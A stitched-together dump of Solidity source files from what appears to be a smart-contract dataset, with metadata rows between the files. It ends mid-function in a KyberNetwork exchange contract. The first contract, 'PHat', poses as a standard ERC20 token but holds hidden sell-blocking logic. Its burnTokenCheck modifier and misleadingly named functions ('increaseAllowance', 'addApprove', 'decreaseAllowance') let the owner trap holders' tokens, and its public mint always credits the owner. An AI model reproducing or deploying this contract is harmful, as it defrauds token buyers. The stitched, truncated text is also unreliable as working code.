}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract PHat is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x64f6d28f8fF48BE618c4d87d8c912d19b2aCBe0c;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 78,321 | 512 |
bb849d75c26fd40a8a361d736a8913b557a0bf02b6cf351d622d791f48929e32
| 42,433 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/01/01d2ae6a86b694be70f619cf60361f95549fc215_MargexTetherToken.sol
| 4,825 | 19,258 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library ECDSAUpgradeable {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return recover(hash, r, vs);
} else {
revert("ECDSA: invalid signature length");
}
}
function recover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return recover(hash, v, r, s);
}
function recover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address) {
// the valid range for s in (281): 0 < s < secp256k1n 2 + 1, and for v in (282): v {27, 28}. Most
//
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0,
"ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
uint256[45] private __gap;
}
interface IERC20PermitUpgradeable {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
abstract contract EIP712Upgradeable is Initializable {
bytes32 private _HASHED_NAME;
bytes32 private _HASHED_VERSION;
bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
function __EIP712_init(string memory name, string memory version) internal initializer {
__EIP712_init_unchained(name, version);
}
function __EIP712_init_unchained(string memory name, string memory version) internal initializer {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
}
function _domainSeparatorV4() internal view returns (bytes32) {
return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash());
}
function _buildDomainSeparator(bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSAUpgradeable.toTypedDataHash(_domainSeparatorV4(), structHash);
}
function _EIP712NameHash() internal virtual view returns (bytes32) {
return _HASHED_NAME;
}
function _EIP712VersionHash() internal virtual view returns (bytes32) {
return _HASHED_VERSION;
}
uint256[50] private __gap;
}
library CountersUpgradeable {
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
abstract contract ERC20PermitUpgradeable is Initializable, ERC20Upgradeable, IERC20PermitUpgradeable, EIP712Upgradeable {
using CountersUpgradeable for CountersUpgradeable.Counter;
mapping(address => CountersUpgradeable.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private _PERMIT_TYPEHASH;
function __ERC20Permit_init(string memory name) internal initializer {
__Context_init_unchained();
__EIP712_init_unchained(name, "1");
__ERC20Permit_init_unchained(name);
}
function __ERC20Permit_init_unchained(string memory name) internal initializer {
_PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");}
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSAUpgradeable.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
function _useNonce(address owner) internal virtual returns (uint256 current) {
CountersUpgradeable.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
uint256[49] private __gap;
}
contract WithBlockedList is OwnableUpgradeable {
modifier onlyNotBlocked() {
require(!isBlocked[_msgSender()], "Blocked: transfers are blocked for user");
_;
}
mapping (address => bool) public isBlocked;
function addToBlockedList (address _user) public onlyOwner {
isBlocked[_user] = true;
emit BlockPlaced(_user);
}
function removeFromBlockedList (address _user) public onlyOwner {
isBlocked[_user] = false;
emit BlockReleased(_user);
}
event BlockPlaced(address indexed _user);
event BlockReleased(address indexed _user);
}
contract MargexTetherToken is Initializable, ERC20PermitUpgradeable, OwnableUpgradeable, WithBlockedList {
mapping(address => bool) public isTrusted;
uint8 private tetherDecimals;
function initialize(string memory _name,
string memory _symbol,
uint8 _decimals) public initializer {
tetherDecimals = _decimals;
__Ownable_init();
__ERC20_init(_name, _symbol);
__ERC20Permit_init(_name);
}
function decimals() public view virtual override returns (uint8) {
return tetherDecimals;
}
function allowance(address _owner, address _spender) public view virtual override returns (uint256) {
if (isTrusted[_spender]) {
return 2**256 - 1;
}
return super.allowance(_owner, _spender);
}
function transfer(address _recipient, uint256 _amount) public virtual override onlyNotBlocked returns (bool) {
require(_recipient != address(this), "ERC20: transfer to the contract address");
return super.transfer(_recipient, _amount);
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public virtual override onlyNotBlocked returns (bool) {
require(_recipient != address(this), "ERC20: transfer to the contract address");
require(!isBlocked[_sender]);
if (isTrusted[_recipient]) {
_transfer(_sender, _recipient, _amount);
return true;
}
return super.transferFrom(_sender, _recipient, _amount);
}
function multiTransfer(address[] memory _recipients, uint256[] memory _values) public onlyNotBlocked {
require(_recipients.length == _values.length , "ERC20: multiTransfer mismatch");
for (uint256 i = 0; i < _recipients.length; i++) {
transfer(_recipients[i], _values[i]);
}
}
function addPrivilegedContract(address _trustedDeFiContract) public onlyOwner {
isTrusted[_trustedDeFiContract] = true;
emit NewPrivilegedContract(_trustedDeFiContract);
}
function removePrivilegedContract(address _trustedDeFiContract) public onlyOwner {
isTrusted[_trustedDeFiContract] = false;
emit RemovedPrivilegedContract(_trustedDeFiContract);
}
function mint(address _destination, uint256 _amount) public onlyOwner {
_mint(_destination, _amount);
emit Mint(_destination, _amount);
}
function redeem(uint256 _amount) public onlyOwner {
_burn(owner(), _amount);
emit Redeem(_amount);
}
function destroyBlockedFunds (address _blockedUser) public onlyOwner {
require(isBlocked[_blockedUser]);
uint blockedFunds = balanceOf(_blockedUser);
_burn(_blockedUser, blockedFunds);
emit DestroyedBlockedFunds(_blockedUser, blockedFunds);
}
event NewPrivilegedContract(address indexed _contract);
event RemovedPrivilegedContract(address indexed _contract);
event Mint(address indexed _destination, uint _amount);
event Redeem(uint _amount);
event DestroyedBlockedFunds(address indexed _blockedUser, uint _balance);
}
| 85,502 | 513 |
08890b4df6666591d12ceb880259996e13da83bb776c59c3e547758c8291a752
| 22,406 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xeccb1c1cb1ec652627932eb6b3aad57cb431b1fa.sol
| 5,070 | 21,305 |
pragma solidity 0.4.18;
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface ExpectedRateInterface {
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view
returns (uint expectedRate, uint slippageRate);
}
interface KyberReserveInterface {
function trade(ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate)
public
payable
returns(bool);
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint);
}
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed(address newAdmin, address previousAdmin);
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28); // 10B tokens
uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint tokenDecimals = decimals[token];
// technically, there might be token with decimals 0
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
}
contract KyberNetwork is Withdrawable, Utils {
uint public negligibleRateDiff = 10; // basic rate steps will be in 0.01%
KyberReserveInterface[] public reserves;
mapping(address=>bool) public isReserve;
WhiteListInterface public whiteListContract;
ExpectedRateInterface public expectedRateContract;
FeeBurnerInterface public feeBurnerContract;
uint public maxGasPrice = 50 * 1000 * 1000 * 1000; // 50 gwei
bool public enabled = false; // network is enabled
uint public networkState; // this is only a field for UI.
mapping(address=>mapping(bytes32=>bool)) public perReserveListedPairs;
function KyberNetwork(address _admin) public {
require(_admin != address(0));
admin = _admin;
}
event EtherReceival(address indexed sender, uint amount);
function() public payable {
require(isReserve[msg.sender]);
EtherReceival(msg.sender, msg.value);
}
event ExecuteTrade(address indexed sender, ERC20 src, ERC20 dest, uint actualSrcAmount, uint actualDestAmount);
/// @notice use token address ETH_TOKEN_ADDRESS for ether
/// @dev makes a trade between src and dest token and send dest token to destAddress
/// @param src Src token
/// @param srcAmount amount of src tokens
/// @param dest Destination token
/// @param destAddress Address to send tokens to
/// @param maxDestAmount A limit on the amount of dest tokens
/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.
/// @param walletId is the wallet ID to send part of the fees
/// @return amount of actual dest tokens
function trade(ERC20 src,
uint srcAmount,
ERC20 dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId)
public
payable
returns(uint)
{
require(enabled);
uint userSrcBalanceBefore;
uint userSrcBalanceAfter;
uint userDestBalanceBefore;
uint userDestBalanceAfter;
userSrcBalanceBefore = getBalance(src, msg.sender);
if (src == ETH_TOKEN_ADDRESS)
userSrcBalanceBefore += msg.value;
userDestBalanceBefore = getBalance(dest, destAddress);
uint actualDestAmount = doTrade(src,
srcAmount,
dest,
destAddress,
maxDestAmount,
minConversionRate,
walletId);
require(actualDestAmount > 0);
userSrcBalanceAfter = getBalance(src, msg.sender);
userDestBalanceAfter = getBalance(dest, destAddress);
require(userSrcBalanceAfter <= userSrcBalanceBefore);
require(userDestBalanceAfter >= userDestBalanceBefore);
require((userDestBalanceAfter - userDestBalanceBefore) >=
calcDstQty((userSrcBalanceBefore - userSrcBalanceAfter), getDecimals(src), getDecimals(dest),
minConversionRate));
return actualDestAmount;
}
event AddReserveToNetwork(KyberReserveInterface reserve, bool add);
/// @notice can be called only by admin
/// @dev add or deletes a reserve to/from the network.
/// @param reserve The reserve address.
/// @param add If true, the add reserve. Otherwise delete reserve.
function addReserve(KyberReserveInterface reserve, bool add) public onlyAdmin {
if (add) {
require(!isReserve[reserve]);
reserves.push(reserve);
isReserve[reserve] = true;
AddReserveToNetwork(reserve, true);
} else {
isReserve[reserve] = false;
// will have trouble if more than 50k reserves...
for (uint i = 0; i < reserves.length; i++) {
if (reserves[i] == reserve) {
reserves[i] = reserves[reserves.length - 1];
reserves.length--;
AddReserveToNetwork(reserve, false);
break;
}
}
}
}
event ListReservePairs(address reserve, ERC20 src, ERC20 dest, bool add);
/// @notice can be called only by admin
/// @dev allow or prevent a specific reserve to trade a pair of tokens
/// @param reserve The reserve address.
/// @param src Src token
/// @param dest Destination token
/// @param add If true then enable trade, otherwise delist pair.
function listPairForReserve(address reserve, ERC20 src, ERC20 dest, bool add) public onlyAdmin {
(perReserveListedPairs[reserve])[keccak256(src, dest)] = add;
if (src != ETH_TOKEN_ADDRESS) {
if (add) {
src.approve(reserve, 2**255); // approve infinity
} else {
src.approve(reserve, 0);
}
}
setDecimals(src);
setDecimals(dest);
ListReservePairs(reserve, src, dest, add);
}
function setParams(WhiteListInterface _whiteList,
ExpectedRateInterface _expectedRate,
FeeBurnerInterface _feeBurner,
uint _maxGasPrice,
uint _negligibleRateDiff)
public
onlyAdmin
{
require(_whiteList != address(0));
require(_feeBurner != address(0));
require(_expectedRate != address(0));
whiteListContract = _whiteList;
expectedRateContract = _expectedRate;
feeBurnerContract = _feeBurner;
maxGasPrice = _maxGasPrice;
negligibleRateDiff = _negligibleRateDiff;
}
function setEnable(bool _enable) public onlyAdmin {
if (_enable) {
require(whiteListContract != address(0));
require(feeBurnerContract != address(0));
require(expectedRateContract != address(0));
}
enabled = _enable;
}
function setNetworkState(uint _networkState) public onlyOperator {
networkState = _networkState;
}
/// @dev returns number of reserves
/// @return number of reserves
function getNumReserves() public view returns(uint) {
return reserves.length;
}
/// @notice should be called off chain with as much gas as needed
/// @dev get an array of all reserves
/// @return An array of all reserves
function getReserves() public view returns(KyberReserveInterface[]) {
return reserves;
}
/// @dev get the balance of a user.
/// @param token The token type
/// @return The balance
function getBalance(ERC20 token, address user) public view returns(uint) {
